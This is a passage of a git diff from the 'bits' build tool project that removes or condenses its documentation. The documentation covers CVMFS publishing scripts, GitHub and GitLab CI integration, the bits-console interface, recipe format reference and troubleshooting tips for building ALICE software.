cvmfs-publish.sh \ - --repo sft.cern.ch \ - --manifest /var/spool/cvmfs-ingest/completed/absl-20230802.1-1-x86_64_el9.manifest.json \ - [--dry-run] -``` - -| Flag | Required | Description | -|---|---|---| -| `--repo NAME` | yes | CVMFS repository name (e.g. `sft.cern.ch`). | -| `--manifest PATH` | yes | Path to the `.manifest.json` written by `cvmfs-ingest`. | -| `--dry-run` | no | Print what would happen without opening a transaction. | - -**What it does** - -1. Parses `cvmfs_target` and `grafts_dir` from the manifest. -2. Opens a `cvmfs_server transaction `. -3. `rsync`s the graft tree (empty file stubs and `.cvmfsgraft-*` sidecars — - no bulk file content) into `//`. -4. Calls `cvmfs_server publish `. Because all blobs are already in - the backend, the catalog update completes in seconds. -5. Aborts the transaction cleanly via `cvmfs_server abort -f` on any error. - -**Batching multiple packages** - -To minimise the number of transactions, call `cvmfs-publish.sh` once per -package in rapid succession or wrap multiple calls in a single transaction -manually. The catalog update overhead per package is small once the -transaction is already open. - ---- - -### CI/CD integration - -Reusable workflow definitions are provided in the `bits-workflows` repository. - -#### GitHub Actions - -Add to your workflow: - -```yaml -- uses: actions/checkout@v4 - with: - repository: bitsorg/bits-workflows - path: bits-workflows - -# Or use the workflow directly via workflow_dispatch: -# .github/workflows/cvmfs-publish.yml in bits-workflows -``` - -The `cvmfs-publish.yml` workflow accepts these inputs via `workflow_dispatch` -(or the GitHub API / SPA web UI): - -| Input | Description | -|---|---| -| `package` | Package name (e.g. `absl`). | -| `version` | Version string (optional — defaults to latest build). | -| `platform` | Runner label, e.g. `x86_64-el9`. | -| `cvmfs_target` | Final CVMFS install path. | -| `rebuild` | Force rebuild (`true`/`false`). | - -Required repository **secrets** — cvmfs-prepub path: - -| Secret | Description | -|---|---| -| `PREPUB_API_TOKEN` | Bearer token for the cvmfs-prepub REST API. Generate with `openssl rand -base64 32`; set the same value in the cvmfs-prepub server's `EnvironmentFile`. | - -Required repository **variables** — cvmfs-prepub path: - -| Variable | Default | Description | -|---|---|---| -| `PREPUB_URL` | — | Base URL of the cvmfs-prepub API (no trailing slash), e.g. `https://prepub.example.org:8080`. | - -**Self-hosted runner labels — cvmfs-prepub path** (only one runner type needed): - -| Label | Used by | -|---|---| -| `bits-build-` | Build + publish + poll job (e.g. `bits-build-x86_64-el9`) | - -The `bits-ingest` and `bits-cvmfs-publisher` runner types are **not required** -for the cvmfs-prepub path. Ingest and publish happen entirely inside the -cvmfs-prepub service, which runs as a persistent systemd daemon outside CI. - ---- - -Required repository **secrets** — legacy spool path: - -| Secret | Description | -|---|---| -| `SPOOL_SSH_KEY` | SSH private key for rsync to the ingestion host. | -| `SPOOL_USER` | SSH username on the ingestion host. | -| `SPOOL_HOST` | Ingestion host address. | -| `SPOOL_PATH` | Absolute spool root path on the ingestion host. | -| `CVMFS_REPO` | CVMFS repository name. | - -Required repository **variables** — legacy spool path: - -| Variable | Default | Description | -|---|---|---| -| `CVMFS_BACKEND_TYPE` | `local` | `local` or `s3`. | -| `CVMFS_BACKEND_PATH` | — | Local backend root path. | -| `CVMFS_HASH_ALGO` | `sha1` | `sha1` or `sha256`. | -| `INGEST_CONCURRENCY` | `0` | Worker count (`0` = auto). | - -**Self-hosted runner labels — legacy spool path** (three runner types required): - -| Label | Used by | -|---|---| -| `bits-build-` | Build + publish job (e.g. `bits-build-x86_64-el9`) | -| `bits-ingest` | Ingestion job | -| `bits-cvmfs-publisher` | CVMFS transaction job | - -#### GitLab CI - -Include the pipeline from `bits-workflows`: - -```yaml -# .gitlab-ci.yml in your project -include: - - project: bitsorg/bits-workflows - file: .gitlab/cvmfs-publish.yml - ref: main -``` - -**Normal usage — bits-console.** The intended way to trigger this pipeline is through **[bits-console](https://bits-console.web.cern.ch)**. bits-console reads the community's `ui-config.yaml`, presents the package browser and platform selector in the browser, and calls the GitLab pipeline API on the user's behalf. The role distinction between production builds (`group-admin` / `bits-admin`) and personal-area builds (`group-user`) is enforced server-side by the pipeline based on `GITLAB_USER_LOGIN` against the `GROUP_ADMINS_` CI variable — bits-console surfaces this as two separate buttons (**Build → Production** vs **Build → Personal area**). - -**Programmatic or direct triggering.** For CI automation outside bits-console (e.g. a nightly cron or a downstream pipeline), the GitLab pipeline API can be called directly. The same role enforcement applies — the token owner's GitLab identity determines which targets are permitted: - -```bash -curl --request POST \ - --form "token=$CI_JOB_TOKEN" \ - --form "ref=main" \ - --form "variables[PACKAGE]=absl" \ - --form "variables[PLATFORM]=x86_64-el9" \ - --form "variables[CVMFS_TARGET]=/cvmfs/sft.cern.ch/lcg/releases/absl/20230802.1/x86_64-el9" \ - "https://gitlab.cern.ch/api/v4/projects//trigger/pipeline" -``` +The CVMFS publishing pipeline — including the `cvmfs-prepub` delivery path, the legacy spool path, the `cvmfs-ingest` Go daemon, and the bits-console web interface — is maintained in the **[bits-console](https://gitlab.cern.ch/bitsorg/bits-console)** repository. That repository contains the GitLab SPA for triggering and monitoring builds, the community `ui-config.yaml` reference, role-based access configuration (production vs personal-area builds), and the pipeline variable reference. --- -### bits-console — web interface for the GitLab-driven pipeline - -**bits-console** is a GitLab Pages single-page application that provides a browser-based interface to the CVMFS publishing pipeline. It is hosted at `https://bits-console.web.cern.ch` and backed by the private GitLab project `gitlab.cern.ch/bitsorg/bits-console`. - -Instead of crafting raw API calls or navigating the GitLab web UI, operators and users interact with a purpose-built console that: - -- Browses all packages in the community's recipe repositories (live, directly from GitHub). -- Shows the current CVMFS publication status of each package. -- Allows **production builds** (published to the community's `cvmfs_prefix`) for group-admins and bits-admins. -- Allows **personal-area builds** (published to `cvmfs_user_prefix//…`) for all authenticated users. -- Provides a pipeline log viewer, scheduled-build management, and per-community settings. - -#### Architecture at a glance - -Two pipeline variants are supported and selected per-community via -`publish_pipeline` in `ui-config.yaml`. - -**cvmfs-prepub path** — single stage, single runner (recommended for new deployments): - -``` -bits-console (GitLab Pages SPA) - │ - ├── communities//ui-config.yaml ← publish_pipeline: .gitlab/cvmfs-prepub-publish.yml - │ - └── triggers GitLab CI pipeline (.gitlab/cvmfs-prepub-publish.yml) - │ - └── Stage 1: compile_and_publish (bits-build runner only) - └── bits cleanup --disk-pressure-only (pre-build guard) - └── bits build --docker [--cvmfs-prefix] - └── bits publish --prepub-url $PREPUB_URL [--no-relocate] - └── HTTP POST tar → cvmfs-prepub service - └── polls GET /api/v1/jobs/ until published -``` - -**Legacy spool path** — three stages, three runner types (existing deployments): - -``` -bits-console (GitLab Pages SPA) - │ - ├── communities//ui-config.yaml ← publish_pipeline: .gitlab/cvmfs-publish.yml - │ - └── triggers GitLab CI pipeline (.gitlab/cvmfs-publish.yml) - │ - ├── Stage 1: bits build (bits-build runner) - │ └── bits cleanup --disk-pressure-only - │ └── bits build --docker [--cvmfs-prefix] - │ └── bits publish [--no-relocate] → rsync → spool - │ - ├── Stage 2: cvmfs-ingest (bits-ingest runner, bits-cvmfs-ingest daemon) - │ - └── Stage 3: cvmfs-publish.sh (bits-cvmfs-publisher runner, stratum-0 transaction) -``` - -#### The community configuration file (`ui-config.yaml`) - -Each community's behaviour is driven by `communities//ui-config.yaml`. The key fields that control the build and cache pipeline are: - -| Field | Default | Description | -|---|---|---| -| `cvmfs_prefix` | _(required)_ | Production CVMFS install prefix (e.g. `/cvmfs/sft.cern.ch/lcg/releases`). Passed as `--cvmfs-prefix` to `bits build` and as `--cvmfs-target` base to `bits publish`. | -| `cvmfs_user_prefix` | _(required)_ | Personal-area prefix for non-admin user builds. | -| `cvmfs_repo` | _(required)_ | CVMFS repository name (e.g. `sft.cern.ch`). | -| `publish_pipeline` | `.gitlab/cvmfs-publish.yml` | Pipeline file used for publish jobs. Set to `.gitlab/cvmfs-prepub-publish.yml` to use the cvmfs-prepub direct-upload path (recommended for new communities). | -| `platforms` | _(required)_ | Pipe-separated `
- PyPI version - Build status -
- -A simple build tool for ALICE experiment software and its externals. Recipes -for the externals and ALICE software are stored in -[alidist](https://github.com/alisw/alidist). - -You can install bits on [Ubuntu][ubuntu], [MacOS][mac], [CentOS 7][centos7], [Alma 8][alma8], [Alma 9][alma9] and [Fedora][fedora]. - -Then, build ALICE's software with: - - git clone https://github.com/alisw/alidist.git - bits build O2Physics - -For a more verbose documentation of what is happening have a look at -the [quickstart guide](quick.md). See the [user guide](user.md) -for more command line options or have a look at the [troubleshooting -pages](troubleshooting.md) for hints on how to debug build errors. -Have a look at the [reference guide](reference.md) if you want to -package your own software. - -
-

Simple build recipes

- Build recipes are simple bash scripts with a YAML header. Whenever - a dependency or a package changes only what is affected by the - change is rebuilt. -
Read more -
-

Reuses system tools

- If desired, bits will do its best to reuse what is available - on the system, if compatible to what is found in the recipe. -
Read more -
-

Docker support

- bits allows builds to happen inside a docker container, so - that you can develop on Mac and build on your production Linux - platform. -
Read more -
-

Binary packages

- bits provides the ability to reuse binary packages which were - previously centrally built, when they match the one that would be - built locally. -
Read more -
-

Developer mode

- Besides building and packaging your dependencies, bits - provides you the ability to develop those via a simple git clone. -
Read more -
-

Integrates with modules

- Easily setup your work environment using `alienv`, which is based on - standard modulefiles. -
Read more -
-
diff --git a/docs/docs/quick.md b/docs/docs/quick.md deleted file mode 100644 index b680d67c..00000000 --- a/docs/docs/quick.md +++ /dev/null @@ -1,84 +0,0 @@ ---- -subtitle: Quick Start -layout: main ---- - -Bits is a tool to build, install and package large software stacks. It originates from the aliBuild tool, originally developed to simplify building and installing ALICE / ALFA software and attempts to make it more general and usable for other communities that share similar problems and have overlapping dependencies. - -This is a quickstart Guide which will show you how to build -and use a package, for extended documentation please have a look at the -[user guide](user.md). - -## Setting up - -The tool itself is available as a standard PyPi package. You -can install it via: - - pip install bits - -Alternatively, if you cannot use pip, you can checkout the Github repository and -use it from there: - - git clone https://github.com/bitsorg/bits.git - -This will provide you the tool itself. - -In order to work, you will need a set of recipes from a repository called -[common.bits, hep.bits, alice.bits. fair.bits,..](see https://github.com/orgs/bitsorg/repositories). The recipes will be downloaded and put in a `repositories` folder on the first invocation of' bits'. -If you need to use a particular branch / repository you can always `git clone` the repository yourself. By default `bits` will look for the recipes found in `$PWD/repositories` folder. - -## Building a package - -Once you have obtained both repository, you can trigger a build via: - - bits [-d] -j build - -where: - -- ``: is the name of the package you want to build, e.g.: - - `GEANT4` - - `ROOT` -- `-d` can be used to have verbose debug output. -- `` is the maximum number of parallel processes to be used for - building where possible (defaults to the number of CPUs available if - omitted). - -If you need to modify the compile options, you can do so by looking at the -recipes in your local `bits` folder and amend them. - -## Results of a build - -By default (can be changed using the `-c` option) the installation of your builds -can be found in: - - sw///-/ - -where: - -- `` is the same as the one passed via the `-a` option. -- ``: is the same as the one passed as an argument. -- ``: is the same as the one found in the related recipe in alidist. -- ``: is the number of times you rebuilt the same version of - a package, using a different recipe. In general this will be 1. - -For example, on Centos7: - - sw/slc7_x86-64/AliRoot/v6-16-01-1 - -## Using the built package - -Environment for packages built using bits is managed by [Environment -Modules](http://modules.sourceforge.net). Notice you will need the package -`environment-modules` on Linux or `modules` on macOS for the following to work. - -Assuming you are in the toplevel directory containing `bits`, `repositories` and -`sw` you can do: - - bits q - -to list the available packages, and: - - bits enter [VO_ALICE@]PackageA::VersionA[,[VO_ALICE@]PackageB::VersionB...] - -to enter a shell with the appropriate environment set. To learn more about `bits` you -can also look at the [user guide](user.md#using-the-packages-you-have-built). diff --git a/docs/docs/reference.md b/docs/docs/reference.md deleted file mode 100644 index 9bf10b43..00000000 --- a/docs/docs/reference.md +++ /dev/null @@ -1,440 +0,0 @@ ---- -subtitle: Recipe reference manual -layout: main ---- - -1. [Recipe formats](#recipe-formats) - 1. [The header](#the-header) - 2. [The body](#the-body) - 3. [Defaults, common requirements for builds](#defaults) -2. [Relocation](#relocation) - -## Recipe formats - -The recipes are found in the a separate repository. The repository can be -specified via the `-c` option and defaults to _alidist_. - -The recipes themselves are called `.sh` where `` is the name -of the package whose build recipe is described. Please note that all recipe -filenames are lowercase: _e.g._ the recipe for `ROOT` will be in `root.sh`. - -The recipe itself is made up of two parts: an header, and the actual build -script, separated by three dashes (`---`) standalone. - -The header is in [YAML](https://yaml.org) format and contains metadata about the -package, like its name, version and where to find the sources. - -The build script is a standard build script which is invoked by the tool to -perform the build itself. A few environment variable can be expected to be -defined when the script is invoked. - -An example recipe for `zlib` is the following: - -```yaml -package: zlib -version: v1.2.8 -source: https://github.com/madler/zlib -tag: v1.2.8 ---- -#!/bin/bash -ex -./configure --prefix=$INSTALLROOT -make ${JOBS+-j $JOBS} -make install -``` - -### The header - -The following entries are mandatory in the header: - - - `package`: the name of the package - - `version`: a mnemonic for the version which will be used in the name - of the package. Notice you can actually use some special formatting - substitutions which will be replaced with the associated value on build. - Valid substitutions are: - - `%(branch_basename)s`: the name of the current alidist branch, without - the leading `refs/heads/`. - - `%(branch_stream)s`: in case the alidist branch ends in `-patches`, the - name of branch without `-patches`. If the branch does not end in - `-patches`, the `tag` field of the recipe is used. - - `%(commit_hash)s`: if the `tag` field is a git tag, then the tag name. - If it is a branch or raw git commit hash instead, then the raw git - commit hash pointing to the `HEAD` of that branch, or said commit hash. - - `%(short_hash)s`: like `%(commit_hash)s`, but cut off after 10 characters. - - `%(tag)s`: the `tag` key specified in the recipe. - - `%(tag_basename)s` if the `tag` resembles a path, *e.g.* - `refs/tags/a/b/c`, returns the last part of the path, `c` in this case. - - `%(defaults_upper)s`: if building with `release` defaults, this is the - empty string; else, this is an underscore and then the name defaults, - uppercased, with `-` replaced by `_`. For example, if building with - `o2-dataflow` defaults, `%(default_upper)s` would be `_O2_DATAFLOW`. - - `%(year)s` - - `%(month)s` - - `%(day)s` - - `%(hour)s` - - Month, day and hour are zero-padded to two digits. - -The following entries are optional in the header: - - - `source`: URL of a Git repository from which the source is downloaded. - It's good practice to make sure that they are already patched, so that you - can easily point to the actual sources used by the software. - - - `write_repo`: in case the repository URL to be used for developing is - different from the `source`, set this key. It is used by `bits init`, - which will initialise your local repository with the `upstream` remote - pointing at this URL instead of the one in `source`. - - - `tag`: git reference in the above mentioned repository which points to the - software to be built. This can be a tag name, a branch name or a commit - hash. - - - `env`: dictionary whose key-value pairs are environment variables to be set - after the recipe is built. The values are interpreted as the contents of a - double-quoted shell string, so you can reference other environment variables - as `$VARIABLE`, which will be substituted each time another recipe is built. - For example: - - ```yaml - env: - "$ROOTSYS": $ROOT_ROOT - ``` - - These variables **will not** be available in the recipe itself, as they are - intended to be used to point to build products of the current recipe. If you - need to set an environment variable for use in the recipe, use - `export VARIABLE=value` in the recipe body. - - - `prepend_path`: dictionary whose key-value pairs are an environment variable - name and a path to be prepended to it, as it happens in `LD_LIBRARY_PATH`. - This happens only after the package declaring the `prepend_path` in question - is built, so it is not available in the same recipe (just like variables - declared using `env`). You can append multiple paths to a single variable - by specifying a list too, *e.g.*: - - ```yaml - prepend_path: - "PATH": "$FOO_ROOT/binexec/foobar" - "LD_LIBRARY_PATH": [ "$FOO_ROOT/sub/lib", "$FOO_ROOT/sub/lib64" ] - ``` - - will result in prepending `$FOO_ROOT/binexec/foobar` to `$PATH`, and both - `$FOO_ROOT/sub/lib` and `lib64` to `LD_LIBRARY_PATH`. - - - `append_path`: same as `prepend_path` but paths are appended rather than - prepended. Like `append_path` and `env`, this **does not** affect the - environment of the current recipe. - - - `requires`: a list of run-time dependencies for the package, *e.g.*: - - ```yaml - package: AliRoot - requires: - - ROOT - ... - ``` - - The specified dependencies will be built before building the given package. - You can specify platform-specific dependencies by appending `:` to - the dependency name. Similarly, you can specify build default specific dependencies - by appending `:defaults=`. - - Such a regular expression will be matched against the - architecture provided via `--architecture`, and if it does not match, the - requirement will not be included. For instance: - - ```yaml - package: AliRoot-test - requires: - - "igprof:(?!osx).*" - ``` - - will make sure that `IgProf` is only built on platforms whose name does not - begin with `osx`. - - - `build_requires`: a list of build-time dependencies for the package. Like - `requires`, these packages will be built before the current package is - built. - - Packages in this list are marked specially in the dependency graph - produced by `bits deps`. Other tools treat these packages differently from - `requires`: for instance, RPMs produced for a package won't depend on its - `build_requires`, and `alibuild-generate-module` won't pull in build - requirements' modulefiles. - - - `force_rebuild`: set it to `true` to force re-running the build recipe every - time you invoke bits on it. - - - `prefer_system_check`: a script which is used to determine whether - or not the system equivalent of the package can be used. See also - `prefer_system`. If the `--no-system` option is specified, this key is not - checked. The shell exit code is used to steer the build: if the check - returns 0, the system package is used and the recipe is not run. If it - returns non-zero, our own version of the package is built through the - recipe. - - `prefer_system`: a regular expression for architectures which should - use the `prefer_system_check` by default to determine if the system version - of the tool can be used. When the rule matches, the result of - `prefer_system_check` determines whether to build the recipe. When the rule - does not match, the check is skipped and the recipe is run. Using the switch - `--always-prefer-system` runs the check always (even when the regular - expression for the architecture does not match). - - - `relocate_paths`: a list of toplevel paths scanned recursively to perform - relocation of executables and dynamic libraries **on macOS only**. If not - specified, defaults to `bin`, `lib` and `lib64`. - -### The body - -This is the build script executed to effectively build and install your -software. Being a shell script you can be as flexible as you want in its -definition. - -Some environment variables are made available to the script. - - - `INSTALLROOT`: the installation prefix. This is commonly passed in the form - `./configure --prefix=$INSTALLROOT` or - `cmake -DCMAKE_INSTALL_PREFIX=$INSTALLROOT`. The build tool will create an - archive based on the sole content of this directory. - - `PKGNAME`: name of the current package. - - `PKGVERSION`: package version, as defined in the recipe's `version:` field. - - `PKGREVISION`: the "build iteration", automatically incremented by the build - script. - - `PKGHASH`: SHA1 checksum of the recipe. - - `ARCHITECTURE`: an arbitrary string summarizing the current build platform. - This is passed using the `--architecture` (or `-a`) argument to the build - script. - - `SOURCE0`: URL of the source code. Note: if `source:` is not provided in the - recipe, the variable will be empty. - - `GIT_TAG`: the Git reference to checkout. - - `JOBS`: number of parallel jobs to use during compilation. This is passed on - the command line to the build script, and should be used in a context like - `make -j$JOBS`. - - `BUILDDIR`: the working directory. This is, *e.g.*, the "build directory" - for CMake, *i.e.* the directory from where you invoke `cmake`. You should not - write files outside this directory. - - `BUILDROOT`: it contains `BUILDDIR` and the log file for the build. - - `SOURCEDIR`: where the sources are cloned. - - `REQUIRES`: space-separated list of all dependencies, both runtime and build - only. - - `BUILD_REQUIRES`: space-separated list of all build dependencies, not needed - at runtime. - - `RUNTIME_REQUIRES`: space-separated list of all runtime dependencies only. - -For each dependency already built, the corresponding environment file is loaded. -This will include, apart from custom variables and the usual `PATH` and library -paths, the following specific variables (`` is the package name, -uppercased): - - - `_ROOT`: package installation directory. - - `_VERSION`: package version. - - `_REVISION`: package build number. - - `_HASH`: hash of the recipe used to build the package. - -### Defaults - -bits uses a special file, called `defaults-release.sh` which will be -included as a build requires of any recipe. This is in general handy to -specify common options like `CXXFLAGS` or dependencies. It's up to the -recipe handle correctly the presence of these options. - -It is also possible to specify on the command line a different set of -defaults, for example if you want to include code coverage. This is -done via the `--defaults ` option which will change the -defaults included to be `defaults-.sh`. - -An extra variable `%(defaults_upper)s` can be used to form the version -string accordingly. For example you could trigger a debug build by -adding `--defaults debug`, which will pick up `defaults-debug.sh`, and -then have: - -```yaml -version: %(tag)s%(defaults_upper)s -``` - -in one of your recipes, which will expand to: - -```yaml -version: SOME_TAG_DEBUG -``` - -If you want to add your own default, you should at least provide: - -- `CXXFLAGS`: the `CXXFLAGS` to use -- `CFLAGS`: the `CFLAGS` to use -- `LDFLAGS`: the `LDFLAGS` to use -- `CMAKE_BUILD_TYPE`: the build type which needs to be used by cmake projects - -Besides specifying extra global variables, starting from bits -1.4.0, it's also possible to use defaults to override metadata of other -packages . This is done by specifying the `overrides` dictionary in the -metadata of your defaults file. For example to switch between ROOT6 and -ROOT5 you should do something like: - -```yaml -... -overrides: - ROOT: - version: "v6-06-04" - tag: "v6-06-04" -... -``` - -this will replace the `version` and `tag` metadata of `root.sh` with the -one specified in the override. Notice that is also possible to override -completely a recipe, picking it up from a given commit hash, branch or -tag in alidist. You can do so by adding such git reference after the name -of the external to override. For example: - -```yaml -overrides: - ROOT@abcedf123456: - ... -``` - -will pick `root.sh` as found in the commit `abcedf123456`. - -For a more complete example see -[defaults-o2.sh](https://github.com/alisw/alidist/blob/master/defaults-o2.sh). - -You can limit which defaults can be applied to a given package by using the -`valid_defaults` key. - -### Architecture defaults - -Architecture defaults are similar to normal defaults but they are -always sourced, if available in alidist, and should never be provided on the -command line. - -Their filename is always: - - defaults-.sh - -where `` is the current architecture. They have precedence over normal -defaults. - -## Relocation - -bits supports relocating binary packages so that the scratch space used for -builds (*e.g.* `/build`) and the actual installation folder (*i.e.* -`/cvmfs/alice.cern.ch`) do not need to be the same. By design this is done -automatically, and the user should not have to care about it. The procedure -takes care of relocating scripts and, on macOS, to embed the correct paths for -the dynamic libraries dependencies, so that SIP does not need to be disabled. -The internal procedure is roughly as follows: - -* The build happens in `BUILD/-latest/` and installs - byproducts in - `INSTALLROOT=/INSTALLROOT////-`. - This way we know that every file which contains `` needs to be - relocated. -* Once the build is completed, bits looks for the above mentioned - `` and generates a script in the `$INSTALLROOT/relocate-me.sh` - which can be used to relocate the binary installation, once it has been - unpacked. -* The path under `/INSTALLROOT/` is tarred up in a - binary tarball. - -When a tarball is installed, either because it was downloaded by bits or by -some other script (*e.g.* the CVMFS publisher, the following happens: - -* The tarball is expanded. -* The relocation script `relocate-me.sh` is executed with something similar to: - - ```bash - WORK_DIR= relocate-me.sh - ``` - - which will take the path up to the `` and re-map it to the newly - specified `WORK_DIR`. - -Notice that the special variable `@@PKGREVISION@$PKGHASH@@` can be used to have -the actual revision of the package in the relocated file. - -## Build environment - -Before each package is built, bits will populate the environment with build -related information. For a complete list of those see -[the body section](#the-body). After the build is done the user has access to -the environment of the build by sourcing the -`////etc/profile.d/init.sh` file. -For example: - -```bash -WORK_DIR= source ////etc/profile.d/init.sh -``` - -Notice that for development packages, we also generate a `.envrc` file in -`/BUILD/-//.envrc` which can be used to -load the build environment via [direnv](https://direnv.net), *e.g.* for easy -[IDE integration](https://aliceo2group.github.io/advanced/ides.html). - -## Runtime environment - -Runtime environment is usually provided via -[environment modules](https://modules.readthedocs.io/en/latest/). - -While the build environment is automatically generated, it is responsibility of -the recipe to create a module file in `$INSTALLROOT/etc/modulefiles/$PKGNAME`. -For example: - -```bash -# ModuleFile -mkdir -p etc/modulefiles -cat > etc/modulefiles/$PKGNAME <_ROOT`. This is because if we build - in a mode where system dependencies are used, we cannot rely on their - presence. -* Use `_REVISION` to guard inclusion of extra dependencies. This will - make sure that only dependencies which were actually built via `bits` will - be included in the modulefile. - -It's also now possible to generate automatically the initial part of the -modulefile, up to the `# Our environment` line, by using the -`alibuild-recipe-tools` helper scripts. In order to do this you need to add -`alibuild-recipe-tools` as a `build_requires` of your package and substitute the -module creation with: - -```bash -#ModuleFile -mkdir -p etc/modulefiles -alibuild-generate-module > etc/modulefiles/$PKGNAME -mkdir -p $INSTALLROOT/etc/modulefiles && rsync -a --delete etc/modulefiles/ $INSTALLROOT/etc/modulefiles -``` - -One can also make sure that `PATH` and `LD_LIBRARY_PATH` are properly amended by -passing the option `--bin` and `--lib` (respectively). Or you can simply append -extra information via: - -```bash -alibuild-generate-module > etc/modulefiles/$PKGNAME -cat >> etc/modulefiles/$PKGNAME < * { - --md-primary-fg-color: #111; - --md-primary-fg-color--light: #111; - --md-primary-fg-color--dark: #111; -} diff --git a/docs/docs/troubleshooting.md b/docs/docs/troubleshooting.md deleted file mode 100644 index adf3c26d..00000000 --- a/docs/docs/troubleshooting.md +++ /dev/null @@ -1,338 +0,0 @@ ---- -subtitle: Troubleshooting -layout: main ---- - -In case build fails you can find per-build log files under the `BUILD` directory -located in the working directory. - -Assuming the working directory is `sw` (the default) and the package whose -build failed is `boost`, you will find its log under: - - sw/BUILD/boost-latest/log - -Note that when running `bits --debug` the output is also echoed in your -current terminal. - -## Common issues - -### I have an error while compiling AliPhysics / AliRoot. - -Notice that in general this kind of errors are not really bits -related, but they are genuine issues in either AliRoot and AliPhysics. -To get the accurate and fastest feedback, the "best practice" is to do -the following: - -- Make sure you have the latest version of both AliPhysics **and** AliRoot. If - not, update to it and rebuild. Most likely someone else has already noticed - your problem and fixed it. bits will actually remind you of doing so if - you are using master. -- If you still have a message, read what the error log for your package - is saying and try to extract the first error. In general you can simply - look for the first occurrence of `***` or `error:` and try to read a few - lines around there. -- Try to find out who modified the files with an error last. This can be done by - cd-ing into `AliRoot` / `AliPhysics`, issuing: - - git log @{yesterday}.. -- - - and reading who was the author of the last few commits. -- Write a message to `alice-project-analysis-task-force@cern.ch` - explaining the error. Make sure you report the first few lines of it you - have identified above, and to include the author of the last changes in - the problematic file. -- Make sure you do **not** attach big log files since they will cause a - traffic storm since the list has many participants and each one of them - will get a copy of the attachment, even if not interested. A much better - approach is to use a service like [CERNBox](https://cernbox.cern.ch), - Dropbox or alikes which allow to share files by providing a link to them, - rather than by attachment. - -### What are the system prerequisites of bits? - -In principle bits should now notify you for missing required system -dependencies and complain with a clear message if that is not the case. For -example if you lack bz2 it will now tell you with the following message: - - Please install bzip2 development package on your system - -Moreover it will try to reuse as much as possible from your system, so -if you have a system CMake which is compatible with the one required by -AliRoot it will also pick up your version. Failing that it will build it -for you. You can have a look at what AliRoot will do by adding the `--dry-run` -option to your build command, e.g.: - - bits --dry-run build ROOT - -will tell you something like: - - Using package CMake from the system as preferred choice. - Using package libxml2 from the system as preferred choice. - Using package SWIG from the system as preferred choice. - Using package zlib from the system as preferred choice. - Using package autotools from the system as preferred choice. - Using package GSL from the system as preferred choice. - System package boost cannot be used. Building our own copy. - We will build packages in the following order: defaults-release GMP UUID gSOAP GEANT4 boost MPFR cgal XRootD fastjet ROOT - -If you have a system package which you think should be used but it's not, you -can run `bits doctor ` to try to understand why that was the case -(or you can [open a bug report](https://github.com/alisw/alidist/issues) with its output and we will look at it). - -### What is PIP ? How do I install it? - -[PIP](https://pip.pypa.io/en/stable/) is the de-facto standard package manager -for python. While it is usually installed by default on modern distributions, -it can happen this is not the case. If so, you can usually get it via: - - sudo yum install python-pip # (Centos / Fedora / SLC derivatives) - sudo dnf install python-pip # (Fedora 22+) - sudo apt-get install python-pip # (Ubuntu / Debian alikes) - -Alternatively you can try to install it by hand by following the [instructions -here](https://pip.pypa.io/en/stable/installation/#supported-methods). - -### Package branch was updated, but bits does not rebuild it - -Some recipes specify branches in the `tag:` field instead of an actual tag. For -such recipes, bits must contact remote servers in order to determine what is -the latest commit for that branch. Since this is a corner case and the operation -is expensive and slow, it is off by default, and cached information is used -instead. Try to ask bits to update its cached information by using the `-u` -or `--fetch-repos` switch. - - -### AliEn broken after building with bits - -If you are ALICE user migrating from other build systems to use bits -and you are running on OSX, it could happen that you encounter an error -of the kind: - -```bash -dlopen error: dlopen(/Users/me/alice/sw/osx_x86-64/ROOT/v5-34-30-alice-1/lib/libNetx.so, 9): Library not loaded: libXrdUtils.1.dylib - Referenced from: /Users/me/alice/sw/osx_x86-64/ROOT/v5-34-30-alice-1/lib/libNetx.so - Reason: image not found -Load Error: Failed to load Dynamic link library /Users/me/alice/sw/osx_x86-64/ROOT/v5-34-30-alice-1/lib/libNetx.so -E-TCint::AutoLoadCallback: failure loading dependent library libNetx.so for class TAlienJDL -dlopen error: dlopen(/Users/me/alice/sw/osx_x86-64/ROOT/v5-34-30-alice-1/lib/libRAliEn.so, 9): Library not loaded: /Users/jmargutti/alice/sw/INSTALLROOT/ac18e6eaa3ed801ac1cd1e788ac08c82ffd29235/osx_x86-64/xalienfs/v1.0.14r1-1/lib/libgapiUI.4.so - Referenced from: /Users/me/alice/sw/osx_x86-64/ROOT/v5-34-30-alice-1/lib/libRAliEn.so - Reason: image not found -Load Error: Failed to load Dynamic link library /Users/me/alice/sw/osx_x86-64/ROOT/v5-34-30-alice-1/lib/libRAliEn.so -E-TCint::AutoLoadCallback: failure loading library libRAliEn.so for class TAlienJDL -dlopen error: dlopen(/Users/me/alice/sw/osx_x86-64/AliEn-Runtime/v2-19-le-1/lib/libgapiUI.so, 9): Library not loaded: libXrdSec.0.dylib - Referenced from: /Users/me/alice/sw/osx_x86-64/AliEn-Runtime/v2-19-le-1/lib/libgapiUI.so - Reason: image not found -Load Error: Failed to load Dynamic link library /Users/me/alice/sw/osx_x86-64/AliEn-Runtime/v2-19-le-1/lib/libgapiUI.so -E-P010_TAlien: Please fix your loader path environment variable to be able to load libRAliEn.so -``` - -This happens because the new version of AliEn compiled by bits is -incompatible with the old one. You can fix this issue by doing: - -1. Remove old alien token stuff from `/tmp` (e.g. `rm /tmp/gclient_env* /tmp/gclient_token* /tmp/x509*`) -2. Get a new token -3. Source `/tmp/gclient_env*` file - - -and trying again. - -### bits does not work on OSX with Python shipped with ANACONDA - -If you are using ANACONDA (`which python` to verify), the old version of -bits had troubles with it. Upgrading to the latest version via: - - pip install --upgrade bits - -or by doing `git pull` should fix the issue. - - -### bits does not pick up tool X from the system - -By default bits prefers using tools from the system whenever -possible. Examples of those tools are CMake, the GCC compiler or the -autotools suite. If this does not happen even if you have it installed -it means that bits does not consider you system tool good enough to -be compatible with the one provided by the recipe. You can verify what -happens during the system tool detection by running: - - bits doctor - - -### bits fails with `cannot open file "AvailabilityMacros.h` - -If your build fails with: - -``` -Error: cannot open file "AvailabilityMacros.h" sw/BUILD/.../ROOT/include/RConfig.h:384: -``` - -and you are on macOS, this most likely means you have an incomplete XCode installation, -e.g. due to an upgrade. You can fix this with: - -``` -xcode-select --install -``` - -### I do not have privileges and I cannot install via pip - -If you do not have root privileges on your machine and `pip install bits` -fails, you have two options: - -- If your pip supports it, you can add the `--user` flag and that will install - bits in `~/.local`. I.e.: - - pip install --user bits - -- If your pip is old or if you do not have pip at all on your system or - you do not want to use pip for whatever reasons, you can still simply - checkout the sources with: - - https://github.com/bitsorg/bits.git - - and simply run bits by invoking `bits/bits`. - -### I am changing an uncommitted file in a development package, but it is not updated in the installation folder. - -If 